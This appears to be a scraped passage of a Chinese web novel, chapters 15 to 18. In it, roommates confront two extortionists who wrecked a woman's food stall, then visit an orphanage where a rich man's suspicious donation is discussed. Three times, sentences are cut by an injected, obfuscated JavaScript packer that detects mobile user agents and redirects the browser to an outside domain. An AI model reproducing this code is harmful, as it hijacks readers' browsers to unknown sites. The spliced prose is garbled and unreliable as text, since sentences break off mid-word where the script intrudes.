郎峰:“什么?” “你听来的八卦。”李株说完就开始咳嗽,身子轻颤,佝偻成虾米状。 高从霭悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298888|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地帮他拍背。 郎峰这个真兄弟半点插不上手,气哼哼的说起听来的八卦。 “她昨晚跟人发生口角,小吃摊被砸了,听楼下的人说,跟她打架的两个男人也没讨到好。”语气中带着几分怜悯。 兄弟俩住进来刚满一年半,沈姐比他们更早住进来。 起初见她一个人早出晚归,为生活奔波,他们都觉得沈萍芳不容易,偶尔会打个招呼。 可不到一个月,沈萍芳就对两人的生活习惯产生诸多不满。 他哥的脾气忍不了被人指着鼻子骂,两人的关系迅速恶劣,最终谁也不待见谁。 李株用公鸭嗓嘲讽:“都打过了还哭什么,破小吃摊砸烂了再买不就是,那才几个钱。” “别站着说话不腰疼!是不值钱,你给我吗?我根本没有钱买新的小推车!没有钱买被砸坏的东西……”沈萍芳两眼涣散,脑子里全是这些年淌过的困难。 那么多苦都捱过去了,没什么好怕的。 可是她好累。 孩子有先天病,母亲也年纪大了,需要人照顾。 可她回不了家,要起早贪黑的赚那三瓜俩枣。 太累了,太累了。 昨天晚上快收摊的时候,来了两个喝多的醉汉。 沈萍芳当时就有不好的预感。 知道这种人最好不要招惹,她按照客人的需要上卤菜,盼着他们吃完就快走。 可吃到一半的时候,其中一个人说有虫子。 那根本不是虫子,是一点卤料渣滓,任凭沈萍芳怎么解释也不听,说要举报到工商局。 只要工商局的人一露面,不管那是不是真的虫子,周围人都会觉得她的铺子有问题。 沈萍芳低三下四的求他们,两人答应了,前提是要给五千块钱。 有五千块闲钱的话,沈萍芳会给女儿买条漂亮的公主裙,会带母亲出去吃顿好饭,会给自己买下那双看上三个月,却舍不得买下的,一百多块的高跟鞋。 这些人张口就是五千,是要她的命。 沈萍芳的声音当即冷下:“没有。” “你什么态度!”其中一个人借着酒精上头,掀桌站起来。 把隔壁小摊的吃客都给吓跑了。 沈萍芳一言不发的弯腰捡起碗筷,被人从后面用力踹了一脚,踉跄扑到地上。 两个醉鬼哈哈大笑,周围的人不敢惹事,跑得远远的。 沈萍芳擦了把眼泪,抬起头,也不知道哪里来的勇气,抓着手里的搪瓷碗砸了上去。 “没钱我借给你。” 沙哑难听的声音落下来,沈萍芳一度以为自己出现了幻觉。 青年往日跟她吵架时眼里的厌恶,历历在目,他怎么可能帮她? “这是你整我的新花样?”沈萍芳眼睛里盈着泪,敌意和戒备比平时弱了许多。 李株张嘴想喷她不识好赖,卡住了。 妈的,说不出话。 他用力咳嗽几下,终于找回一点声音:“记得那两个人长什么样吗?老子最看不惯欺负女人的人渣,必须揍几拳才解气。” 同住一个屋檐下,哪能真的见死不救,更何况男人不该小肚鸡肠,计较过去那点矛盾。 郎峰挺起胸膛:“算我一个。” 高从霭不甘落下,扒着李株的胳膊,努力抢功:“不用哥出手,有我一个就够。” 15.大哥,收手吧 沈萍芳不想打人,打伤了要赔偿,打不过自己就得住院。 “我,我只想他们赔我钱……” 李株咳嗽几声,泛起一股血腥味,凶巴巴的打断对方:“别废话,你就说还记不记得吧。” 沈萍芳见识过徐晓哲的无赖、粗俗、莽撞,没见过认真严肃这一面。 莫名地畏惧。 她连连点头:“记得。” 那两人不是第一次来她摊位吃东西,摊被砸了后,她从隔壁帮收拾残局的老乡口中,得知了两人的住址。 老乡还提醒沈萍芳,别想着从混吃等死小流氓手里要赔偿。 “知道他们住哪儿吗?”李株知道沈萍芳是个很细致的人。 被砸了场子总得知道个子丑寅卯,不可能真的坐在那软弱哭泣。 沈萍芳迟疑了下:“知道。” —— 两醉汉清早醒来,发现自己正躺在楼梯上。 想要下楼的邻居们被堵在上方,一脸怒气地瞪着他们。 躲在家长身后要上学的小朋友扁着嘴,都快哭了。 虎哥仰着头,不紧不慢地抻了个懒腰,逗道:“小弟弟是不是上学快迟到了?直接让你妈跟学校请个假呗,今天正好玩一天。” 小弟弟上下嘴唇颤抖,哇地一声哭出来。 龙哥被吵得彻底清醒,怒吼一声:“闭嘴,大清早哭什么丧。” “会不会说话!挡路还有理了?!”拎兜子准备去买菜的大妈说道,“赶紧让开,我们要下楼。” 两个社会哥不乐意了。 “你们求人办事就这种态度?我们偏不让!” 说完两人敞开手脚,把楼道彻底堵死。 楼里住着两个不讲道理的小流氓,大家有苦难言,又在这么关键的时刻故意找茬。 脾气急躁的邻居吓唬他们:“再不让,我们就报警了!” “你们报啊,我们昨晚喝醉酒,在楼梯上踩到什么滑腻腻的东西摔了跤,站不起来了,警察来了正好让他们评评理,看大家该怎么赔偿我们。” 相隔一层的地方,郎峰听得叹为观止。 没见过这么无耻的。 “哥,这就是人渣。” 李株半边身体靠在高从霭怀里,身残志坚地说:“把诈骗当事业,今天就让他们失业。” 高从霭摸摸他的额头,从兜里掏出一个小小的保温杯,喂李株喝水。 郎峰要拿手机偷拍,被迫把照顾的工作移交给这个陌生人。 对方越是悉心照料,他越觉得哪里不对,对高从霭的不爽,比当初对庄恒川更甚。 李株实在没精力多说话,昂了昂下巴,示意可以行动了。 沈萍芳跟在三人身后,心里直打鼓,脑子里浮现出昨晚挨过的拳头,狠狠打了个哆嗦。 可一想到女儿的医药和生活费,她鼓起勇气越过李株,冲到最前面,第一个来到四楼。 龙哥虎哥看到突然冒出来的女人愣了下,很快就想起是谁。 “这不是卖卤菜的大姐吗,这是来送钱的?” 龙哥说着坐起来,咧嘴笑露出一口大黄牙,同时摊开一只手要钱:“拿来吧。” 沈萍芳哭着说:“五千块太多了,我真的没有,能不能少点?” “昨晚不是挺横的吗,这会儿知道怕了?”虎哥也坐起来,用下流的眼神打量,“钱不够拿其他的凑呗。” 沈萍芳用力掐着掌心,苦苦哀求:“三千行不行?你们昨晚还砸坏了我的东西……” “给你脸了是不是!”龙哥利索爬起来,凶恶地瞪着眼,“是你东西有问题,我们要五千是合理赔偿!不想做生意直接说,我们马上去举报你。” 城边村的八卦传播很快,昨晚事发后不到两个小时,传得人尽皆知。 楼道里的一个中年男人啐道:“两个大男人欺负一个弱女子算什么,呸,我们男人的耻辱。” 有人开了头,其余人也跟着骂。 叽叽喳喳的声音,不断挑动两人的理智。 龙哥直接跳起来,怒吼道:“有你们什么事!都给我滚!” 被两个男人堵得满满当当的楼梯,空出了一半,邻居们连忙趁机下楼。有两位老太太想留下来帮忙,很快就被自家老头拽走了。 虎哥指着沈萍芳的脸骂:“老子看你就是犯贱,嫌五千太少就给一万,不把钱交到老子手里,你别想做生意。” 郎峰录得火冒三丈。 什么年代了,还有这种煞笔。 他举着手机出来:“你们这是敲诈,我全录下来了,等着被警察抓吧。” “我抓你妈!”龙哥率先反应,伸手要抢手机。 这可是在沈萍芳面前,刷好感度的绝佳机会。李株抬起软绵绵的腿,用尽全身力气,一脚蹬在他的肚子上。 毫无防备的龙哥,一屁股坐到水泥梯子上。 尾椎骨撞上棱角,疼得他冷汗直冒。 虎哥见兄弟失利,铆足了劲儿扑向李株,瞠目龇牙的模样恨不得把人吃了。 郎峰今天的职责就是拍视频,忍着想帮忙的冲动,举着手机往后退,见高从霭要动手,他故意晃了晃手机。 免得拍得太清。 高从霭看似瘦削的身体拥有惊人的爆发力,将一米八的壮汉直接钉在墙上。 细长的手指握紧,手背上青筋鼓起,他的眼睛里闪烁着诡异的兴奋。 虎哥的挣扎逐渐变得无力,张着嘴,伸着舌头,直翻白眼。 “高从霭,够了。”李株拍了下高从霭的胳膊,手感不太好。 看似瘦弱,实则身上全是绷紧的肌肉。 高从霭恋恋不舍的松开手,舌尖舔了下牙。 他没有杀过人,但在脑海中模拟过许多杀人的画面。 掐死、摔死、撞死,用绳子、刀具、药物,实施对象是高从俞和高彦和。 高从霭的唇角挂着若有似无的笑,温声问地上的男人:“没事吧,能自己站起来吗?” 一旁的龙哥虽然没被掐脖子,嚣张气焰却没了。 刚才他看得清楚,那个年轻人一只手掐住他兄弟的脖子,把人整个拎了起来。 力气大,还是个疯子。 如果不是被旁边的人呵斥,阿虎会被活活掐死。 虎哥仰头望着高从霭,脖子那圈火辣辣的疼,窒息感没有完全消失。 挂在那人脸上的不是笑,是威胁,是没能杀死的他的意犹未尽。 他恐惧地摇头:“我我我我能自己起来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303972|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高从霭点了下头,从兜里掏出一包湿巾纸,仔细擦拭每根手指。 李株也被震住了。 不怕横的,就怕不要命的。 高从霭一发疯,他也要忌三分。 按照原计划,是先偷拍勒索敲诈的视频,再报警。追回损失后起诉,把人送进去吃几天牢饭。 鉴于对方是社会哥,自然也考虑到了动手的可能,三对二,他们肯定赢。 但没想到高从霭一个简单的出手,两只社会哥安静如鸡。 李株肿痛的喉咙动了动,颤抖地将手压上男人的肩:“大哥,冷静下来了吗,你没事吧?” “有事。”高从霭举着那只掐过人脖子的手,“手疼。” 李株哑声说:“回头小弟我给您热敷一下。” 高从霭被他战战兢兢的表情逗乐了,伸手掐了下李株滚烫的脸:“我不喜欢你怕我。” “不是怕,是敬畏。”以后您是大哥。 不知道是被吓的,还是烧得更重了,李株额头的汗水露珠似的往下滚落。 高从霭用湿巾给他擦了擦:“这种小事我和郎峰来就行了,非要跟来。” “就是。”许多男生慕强,郎峰也不例外。 高从霭刚才露的那手令他五体投地,一改之前的态度,狗腿的说:“病成这样你就该听我们高哥的,在家好好休息。” 不能休,再休就病死了。 李株有苦说不出,将矛头对准最欠揍的两人:“马上赔偿沈姐昨晚的损失,三天之内搬走,否则我就把勒索视频交给警方。别以为没有实质性的金钱往来就不算犯罪,勒索未遂一样会拘役,甚至有期徒刑。” 阿龙阿虎好吃懒做,背后没有靠山,遇到比自己还凶的,半点强硬不起来。 老老实实地让沈萍芳算账,掏空口袋赔偿。 沈萍芳感动地捧着有零有整的纸钞,不知道该说什么好:“我没想过你们真的会帮我……我,我……谢谢,谢谢你们……” “别废话了,赶紧置办东西,早点出摊吧。”李株故作烦躁的挥挥手,内心已经绷不住了。 “统哥统哥统哥,分数涨了没?” “正在统计,请稍等。” 李株紧张地咬紧牙关,一用力,太阳穴就像被人用锤子砸,疼得他倒抽一口冷气。 【正向值+5,徐晓哲是个刀子嘴豆腐心,之前是我误解他了】 五分,足以让李株激动得热泪盈眶。 不单单是即将病愈的喜悦,还有帮原主“洗白”的高兴。 “怎么哭了?”高从霭比李株个子高,他微微弯着腰,正盯着李株的眼角。 李株抹了下眼睛,尴尬道:“沙子掉眼睛里了。” “哥!”郎峰也跟着凑过来,“你声音怎么好些了?” 明明刚才还沙哑到出声困难的地步! 李株清了下嗓子,睁眼说瞎话:“肯定是小高先生买的药起效了。” 高从霭好奇地看着他湿润的眼尾,右手的食指在上面轻轻一点。 湿漉漉的,带着浅浅的温度,好奇地伸出舌头舔了一下。 他望着李株:“是咸的。” 李株:“……” 脚指头抓地,被这位大哥给尬住了。 16.大哥,收手吧 啪—— 李株一巴掌打在高从霭的手上,扯起衣角用力擦拭那根手指头。 高从霭安静看着他的急切的动作,反手握住李株的手:“体温降了。” 李株面不改色的抽走手:“多亏了你买的药。” 高从霭绯红的嘴唇勾出弧度:“你发烧的时候脸好红,眼睛也是湿的,现在好多了。” “多亏了你买的药。”李株变成了复读机 当人类的话,他没办法面对这张脸。 到现在脚指头都没放松。 高从霭失望地叹了口气,搞得李株一头雾水。 他清了清嗓子,恍然发现嗓子彻底不疼了。 又原地甩了甩手脚,不酸了,有劲儿了。 一旁被高从霭奇葩举动震惊的郎峰,没来得及谴责,就见他哥一会高兴一会蹦跶,疯了一样。 纠结再三,还是哥重要。 郎峰两手按住李株的肩膀,把人牢牢定在地上:“还在感冒呢,发什么疯?” “我好了。”李株指了指自己的嗓子,“声音正常了,头也不疼了。” 郎峰惊觉不知从哪一刻起,他哥声音不哑了。 谁家好人前一秒病入膏肓,下一秒后蹦乱跳啊。 看到好兄弟惊异的眼神,李株也回过神来,愣在原地不知道该怎么解释。 “高价买的特效药,效果就是好。”高从霭突然开口。 他在帮我打掩护,李株看了他一眼。 “原来如此。”郎峰啧啧几声,“连你一个富二代都说高价,那一定很贵,是进口药吧?网上说钱能买来健康,果真不假。” 李株松了口气,急忙勾住郎峰的肩膀,转移话题:“走,去孤儿院。” 有痛觉太难受了。 只是一个小小的重感冒,就令人有种真实的濒死感。 呼吸不畅,手脚无力,关节酸痛,最严重的时候,脑子里就像有把电钻在嗡嗡嗡。 事后还要想办法圆谎,否则就有被送进研究所的风险。 再也不敢赊账了! 高从霭停在原地,目光定格在李株落在郎峰肩头的手上。 察觉到少了个人,走到下方缓台的李株仰头朝上看:“小高先生,怎么不走?” 自见面以来,高从霭要么面无表情,要么面带笑容,这是李株第一次见他黑下脸。 大概是他沉着脸的缘故,连带着周遭气氛也变得沉闷而凝滞。 李株和郎峰无意识地靠在一起,走在最前面的沈萍芳也停下来,莫名的紧张。 这位姓高的年轻人,收拾小流氓时身上那股杀气,比早市屠宰场的杀猪匠还吓人。 刚才那两人逃跑的样子,就像老鼠见到猫,厉鬼见到活阎王。 李株望着下来的高从霭:“干嘛用这种眼神看着我。” 高从霭:“你对我的态度,和对他不一样,我不喜欢。” 李株顺着他的视线,落到自己搭在郎峰肩头的胳膊上。 “任何一种关系的深浅,都需要时间慢慢积累,自然也包括友情。”李株跟他讲大道理,“等我们相处时间长了,我肯定也会勾你的肩膀。” 高从霭仍旧盯着他的胳膊:“有个成语叫一见如故,还有个成语叫一见钟情,这些感情都发生在瞬间,与时间长短无关。” “……”李株无法反驳。 这小子嘴巴太厉害了。 哪像成天待在家里的死宅。 高从霭继续道:“我对你也是一瞬间的。” 第一眼我就拿你当朋友,看了这么多眼了,你还拿我当空气,你不厚道,你很过分,你太不是东西……李株在心里默默翻译。 好像是这么回事。 高从霭的感情来得汹涌猛烈,而他吝啬于交付情感。 对一个渴望友情的年轻人来说,是种莫大的伤害。 李株生出几分愧疚:“对不起,我错了。” 郎峰:“???” 不是,哥你错哪儿了?! 李株松开郎峰,转而抓住高从霭的胳膊:“那你跟我们一起去孤儿院吗?” 高从霭不满,眼神像刀子一样划过。 李株抿了下唇,妥协了,勾住高从霭的肩膀,把对郎峰说的话,又说了一遍:“走,去孤儿院。” “好。”高从霭总算开口了,脸上的阴沉烟消云散。 李株:“……” 郎峰顶着空荡荡的肩头,孤单跟在后面。 心里深处一种预感,他哥要被抢走了。 小流氓住的地方在城边村的中间地带,沈萍芳要去市里的批发市场,采购一些新的碗筷。 临别前,她又对三人说谢谢。 李株摆摆手,很不耐烦地大声说:“谢什么谢,耳朵都听出茧子了。” 这要是放以前,沈萍芳早骂他了。 如今发现,徐晓哲的嘴硬,是在掩饰内心的别扭和羞涩。 她笑了下,对三人挥挥手走了。 郎峰望着她的背影嘟囔:“其实沈姐也没那么讨厌。” —— 孤儿院在城市另一边,需要倒两趟公交车。 李株带着两个小弟穿过城边村,走到站台等车。 头顶刺眼的阳光烘烤着大地,知了叫得人心浮气躁。 郎峰掏了掏耳朵吐槽:“成天死啦死啦的,就是不死,吵得没完。” 李株没吭声,掏出手机玩,斜扫了眼高从霭,发现他两手插在兜里,站得笔直。 他好奇地抬高视线,和对方面面相觑。 “别总是盯着我。”李株假装不在意,“年轻就多玩会儿手机,等以后老了,想看还得戴老花镜,麻烦。” 郎峰也是个手机控,连声附和:“就是就是。” 高从霭挨着李株蹲下:“手机没意思。” 对他来说,看手机不如观察李株来的有趣。 李株没辙,手指贴着屏幕滑上滑下。 好在车来得很快,李株第一个上车,坐到最后一排靠窗的位置。 郎峰原本第二个上,被高从霭拽了一下,落到第三个,同时对司机:“他付。” 郎峰:“……” 他刷完两次车费,追上高从霭:“你没钱?” 高从霭:“有,不会付” 难怪会靠双腿从市区走到郊区。 李株看向高从霭受伤的脚,如今正缩在原主的旧板鞋里。 因为短了一点,鞋尖被大拇指顶出一个小包。 身旁传来窸窸窣窣的动静,高从霭高大的身躯在座位上显得拘谨,他怕挤到李株,努力缩起宽阔的肩膀。 李株于心不忍:“你可以坐过来一点。” 高从霭:“好。” 男人绷紧的肩膀舒展开, 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附近有家大超市,三人进去买了不少,拎着大包小包出来的时候,公交车正好到。 —— 孤儿院附近许多地方待开发,有大片的绿油油的荒草地,公交车就停在这里。 李株用手遮住眼前的阳光,眺望几十米外那迹斑斑的大铁门。 这里承载着原主和郎峰前十八年的全部时光。 孤儿院里正是游戏时间,许多小朋友在外面的空地上玩耍嬉戏。 有眼尖的看到走进大门的人,兴奋地喊:“晓哲哥哥!小峰哥哥!” 一呼百应,所有小朋友都看了过去,张开双臂朝扑向两人。 原主并不是对所有人都坏脾气。 他把仅剩的耐心和温和,都给了这群孩子。 眼见着孩子们距离自己越来越近,李株正迅速将眼前的面孔,与记忆中的一一核对。 “小婷。”他抱起最小的一个掂了掂,“哎哟,小姑娘比上个月重了。” 小婷用胖乎乎的手抱住李株的脑袋,吧唧在他额头上亲了一口。 奶声奶气地说:“晓哲哥哥,我们好想你。” 【正向值+1,哥哥不来就没有人买糖呜呜呜呜】 下面一个留着瓜皮头的小男孩,用力抱住李株的腿,仰着脑袋说:“哥哥哥哥,有没有给我买跳跳糖。” 李株放下小婷,又抱起这个:“买了买了,一长串呢。” 【正向值+1,嘻嘻,太好啦,我要晚上躲在被窝里吃!】 李株尝到了甜头,放下瓜皮头,又立刻抱起下一个哄。 系统嫌一直投放文字麻烦,开始语音播报。 365:“正向值+1,正向值+1,正向值+1……” 不要钱的往上加。 李株高兴地抱着小朋友转圈圈,好爽好爽。 郎峰也被缠得脱不了身,痛苦并快乐地享受着孩子们的热情。 唯独高从霭单独站在一旁。 他看着那一只只扒着李株不放的手,心里的嫉妒就像溢出来的水,汹涌的往外冒,怎么也收不回去。 17.大哥,收手吧 “都说了多少次,不准买糖。” 院长嘴上责怪,眼睛里是藏不住的笑意。 她走到李株面前,发现青年的气色,比以前来的时候好了许多。 就是皮肤晒得黑了点,笑起来的时候一口牙白得显眼。 “院长。”李株高兴喊道。 院长拍拍他的胳膊,又转头去看郎峰,这小子还是那么壮。 从小时候起,徐晓哲就只长个子不长肉,郎峰是两样都长,明明兄弟俩吃的东西都一样。 李株拎着东西,跟着去了办公室。 院长给三人倒了水,将最后一杯放到高从霭面前,瞥到对方精致的五官时,眉头皱了皱。 “院长。”李株注意到她的异样,“您认识高从霭?” “不认识。”院长摇头,觉得名字很耳熟。 想起来了。 她问高从霭:“请问你和高从俞高总是亲戚吗?” “他是我同父异母的大哥。”高从霭漫不经心的握着杯子,“他来过孤儿院?” 提及此事,院长的脸上满是感激:“他上周给我孤儿院捐了款,还送了很多物资。” 高从俞还承诺,会在未来两个月帮孩子们建一座新的活动楼。 或许是先入为主,认定了高从俞的重大嫌疑,李株不信这是巧合。 “他上周几来过?”李株追问。 院长掰着手指头一天天的算:“周一。” 正好是原主跑腿送点心的第二天。 这要是巧合,他就倒立洗头。 李株努力平复心绪,问:“院长妈妈,能跟我说说高先生那天来,都做了些什么吗?越详细越好。” 见他神色严肃,院长意识到事情的严重性。 “出什么事了?高先生有问题?” 比起初次见面的外人,她当然更相信自己亲手带大的孩子。 只要青年说高从俞是坏人,她可以马上把捐款和物资退回去。 “没什么。”李株知道孤儿院需要钱。 院长沉了口气,正要开口,李株忽然对郎峰说:“中午就在孤儿院吃吧,你去买点饮料。” 郎峰知道他想支开自己,不情不愿地“哦”了一声。 等他离开,李株才对院长说:“您说吧。” 徐晓哲早熟,从小就很懂事,院长知道他支开郎峰自有道理,没多问。 仔细回想当天的细节。 “那天上午八点,我正在活动室收拾玩具,张老师突然进来说高格集团的老板来了……” 孤儿院资金长期吃紧,来自社会的个人捐助和上面拨款,只够勉强维持开销。 为了让孩子们的生活有所改善,这些年来,院长一直到处求神拜佛。 绝大部分企业不愿意搭理她,少部分捐点吃的喝的,意思意思,还能博个好名声。 不久前,院长拜访了本地的纳税大户,高格集团。 只是刚进门,就因没有提前预约,被保安赶了出去。 得知高从俞亲自前来,院长有些不敢相信,着急忙慌地跑出去。 黑色西装衬得男人肩宽腿长,威严肃穆,高从俞站在车边,严肃的脸在看到院长后露出一丝笑意。 “张院长。”高从俞主动伸出手。 院长两手一起握住高从俞的手:“高总您好。” 高从俞教养好,主动提及那天:“听说前几天您去了我们公司,抱歉,当时没有好好招待您,是我失礼了。” “没有没有。”院长受宠若惊,“请问您今天来,有什么事吗?” 高从俞笑道:“是这样的,我们集团旗下有专门针对孤儿院的慈善基金,不知道您需不需要。” 这无疑于是天上掉馅儿饼。 接下来的事情非常顺利,开支票、拉物资,高从俞曲着腿坐在食堂的小饭桌前,和院长、老师们吃了一顿便饭。 听到这儿,李株一不留神吐槽出声:“他心里怕是嫌弃死了。” 这句话提醒了院长。 她有些难堪地扯了扯唇:“你没说错,他的确不大喜欢孤儿院的环境。” 孤儿院的孩子大多敏感,院长会时时刻刻注意他们的神情和情绪。 所以当高从俞蹙眉时,她一下子就发现了。 那个神情很隐晦,嘴角跟着迅速撇了下。 之后的用餐时间里,院长有意无意往高从俞的方向看。 即便他掩饰得很好,依旧没能完全遮掩住内心的厌恶,就连上菜时,高从俞的眼神也会微微一沉。 嘴上说在孤儿院感到温馨快乐,实则每个细胞都在抗拒。 “我觉得他这个人……有点虚伪。” 意识到高从霭也在,院长吓得脸都白了。 高从霭没有指责,反而赞同她的评价:“他本就是个表里不一的人,院长说得没错。” 院长干笑,两人真的是兄弟吗? 李株轻咳一声打破尴尬地氛围:“后来呢?” “吃过饭后,高先生说想多了解一下孤儿院的孩子,去了档案室,说想挑一些优秀的孩子,重点资助。” 八个书架将档案室塞得满满当当,高从俞随机抽取一个档案袋打开,随意翻看着。 一同跟来的其他人则完全相反,每个档案袋都看得很仔细。 李株出声:“有多仔细?” 院长回想当时的情景:“逐字看,对了,他们还问我,上面的出生年月日准不准确。” 脑海中灵光一闪,李株飞快问道:“每一本都看过吗?” “是的,我当时还纳闷,那架势就像在找人……”院长的声音变小了,想到青年刚才问过的问题,她抖着声音问,“晓哲,你是不是怀疑,他们在找你的档案?” 李株点点头,心很慌。 高从俞通过王经理筛选人,选定原主后,再以资助名义,确定原主的个人资料,制造意外车祸。 如果说高从俞的目的,就是单纯的挑人,再杀掉。 没有亲自动手的他,能体会到杀人的感觉吗?原主车祸时,他到底在不在附近? 如果说高从俞的目的不是单纯的杀人,原主死后他又能得到什么? 一具冷冰冰的,即将被火化的尸体。 他又为什么要着重问出生日期是否正确? 高从俞身上挂着八百个问号,李株一个也解不开。 院长惴惴不安:“到底出什么事了?” 李株对她勉强一笑,摇了摇头,后背窜起一股凉意,冷汗把T恤浸透了。 高从霭不动声色的观察,没有错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325658|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过青年脸上一闪而逝的恐惧。 外界眼里热衷慈善的高家,在他的眼里是一座魔窟。 看似光鲜的宅子中,藏着数不清的怨怼和仇恨。 高从俞作为高家的产物之一,自然也是个疯子。高从霭丝毫不怀疑,高从俞一定对青年做过很恶毒的事。 才会让他在事发后仍旧战战兢兢。 院长见实在问不出,叹了口气:“有事一定要说。” “院长放心,我不会跟您客气的。” 院长看着眼前的人。 算起来,这孩子也不过二十岁。在正常家庭中,是备受宠爱,被父母精心呵护的年纪。 还记得见到徐晓哲那天,下了好大的雨。 天气阴沉可怖,黑压压的云层随时都会掉下来。 孤儿院门口的树下,一个小小的婴儿躺在篮子里,哇哇直哭。 院长把孩子抱回屋后报了警,警察很快就查到,孩子刚出生三天。 三天前,他的母亲晕倒在街上,被好心路人送进医院。 生下孩子后的第二天,女人清醒过来。 无论医院的人怎么问,她一句话不说。联系不到她的家人,也不能直接把人扔出去,医院只能先把人留下。 谁知道第三天清早,护士查房发现女人和孩子都不见了。 大家以为她是怕付医药费,偷偷跑了。 没成想是把孩子扔来了孤儿院。 在孤儿院里能吃饱穿暖已经不错,偶尔有好心人送来捐助的物资,一个没看住,孩子们就会因为争抢打起来。 徐晓哲就是其中之一。 但他不会独吞抢来的东西,而是分成两份。 一份自己吃,一份留给郎峰。 如今两个孩子都长大了,院长感到欣慰的同时,又为他们的早熟而感到怜悯。 “最近工作怎么样?”院长掸了掸李株肩头,温和道。 “挺好的。”说完,李株把兜里的钱掏出来,塞到她手里。 每个月,原主和郎峰都会拿出各自一半的薪水,送来孤儿院,好让孩子们改善伙食。 楼下传来叽叽喳喳的声音。 两辆黑色轿车停在空地上,孩子们好奇的围在四周,郎峰正巧经过,也跟着凑上去。 “谁啊?”他问了一嘴。 小朋友们跳着脚说:“是高叔叔,给我们送好吃、好玩的高叔叔!” 郎峰想起楼上正在背后蛐蛐高从俞的三人,撒腿就跑。 院长把钱锁进办公桌,抬头便看到抱着饮料瓶子,急吼吼冲进来的人。 李株两手撑住郎峰撞来的身体,疑惑道:“怎么了?” 郎峰指着外面说:“高高高,高先生来了!” 哦吼,完蛋。 肯定是跟着定位找来的。 李株看向高从霭:“你哥来了,你不多躲一下吗?” 高从霭反问他:“你希望我躲吗。” 李株发现他很喜欢把问题抛给自己,看似在交付主动权,实则让人被动。 高从霭诱惑:“我可以帮你监视他,我也可以退一步,先和你做普通朋友。” 稳赚不赔,这种生意不做白不做。 李株丝毫不知道自己跌入了陷阱,美滋滋的说:“成交。” 18.大哥,收手吧 高从俞下车,习惯性地将衣服整理到一丝不苟。 他看着因为最近下雨,长出青苔的地面,心头划过几丝恶心。 从小养尊处优的他有轻微洁癖,不只是对事物,还对人。 那些外表脏兮兮、汗津津的人,光是站身边,高从俞就浑身不舒服。 深吸了一口气,他把两手放到轮椅按钮上,往前移动。 “高先生!”院长惊喜的声音从高处飘来。 高从俞抬头,在看到院长背后的李株时愣了一下,装出惊喜的样子。 装货。 李株嗤之以鼻,拉着老兄弟和新兄弟一起,跟在院长身后下楼。 院长脸上没有丝毫异样,笑容热切,“高先生怎么有空过来,吃饭了吗?不介意的话,正好和我们一起用个便饭。” 高从俞和院长寒暄完,看向李株和高从霭。 不明白这两人怎么会凑在一起。 他定了下心神,“小徐也在,你和院长认识?” 李株也惊讶地睁大眼睛,“我是在这家孤儿院长大的,没想到高先生也认识院长,咱们真是有缘。对了,小高先生也在。” 说完把身旁的高从霭推到前面。 空气在那一瞬间停止了流动,很快,高从俞就冷下脸。 像个真正关心弟弟的哥哥那样,厉声训斥:“你知不知道这几天所有人都在找你!你怎么会躲到这里来?你手机呢,马上给爸爸报个平安。” “装什么兄友弟恭,你剧本拿错了吧。”高从霭不给他任何面子,更懒得装,拿出手机,给高彦和打了个电话。 电话响了好几声才接通,是高彦和的秘书。 高从霭开口就是气死人不偿命,声音懒洋洋的。 “听说爸很担心我,你好好劝劝他,病入膏肓了的人少把精力放在别人身上,会死得更快。” 攥着手机的秘书不敢出声,更不敢把话转达给高彦和。 高从霭挂了电话,回头冲高从俞一笑,“大哥还有什么吩咐?” 高从俞气得脸都绿了。 不知道高从霭又发什么疯,居然不顾外人在场,直接撕破脸。 胸膛随着急促的呼吸上下起伏,强压抑着没有发作。 “这是就是你跟爸说话的态度?!你的教养都喂狗肚子里去了?!” “妈死得早,没人教,大哥理解一下。”高从霭收起懒散表情,“大哥不如帮我把妈请回来,让她从头教?” 高从俞不知想到什么,面上变得很僵硬。 眼睛下面的肌肉迅速抽|动两下。 这份怒而不发取悦了高从霭,毫无征兆的疯癫大笑起来。 郎峰第一次见他这副样子,吓傻了。 拽着李株的袖子不住使眼色,问他哥,高从霭是不是疯子。 李株见怪不怪,悄悄说:“笑一笑十年少,不是疯,是养生。” 郎峰:“……” 笑声宛如一根根针刺,扎得高从俞坐立难安,他回头冲后面喊,语气里有掩饰不住的慌乱。 “把小少爷送回去,看紧了。” 一共跟来了四名保镖,其中两人上前抓住高从霭的左右胳膊,强硬的把人推进后面那辆车中。 坐进车里前,李株看到高从霭对自己眨了下眼。 是下楼时李株想出的暗号。 眨一下是安全,眨两下是不安全,眨三下见机行事。 李株也对他眨了一下。 “怎么感觉你俩眉来眼去的。”郎峰眉头紧皱,“你该不会……” “停停停!不准瞎几把想!”李株掐住他胳膊上的一块肉,当麻花拧。 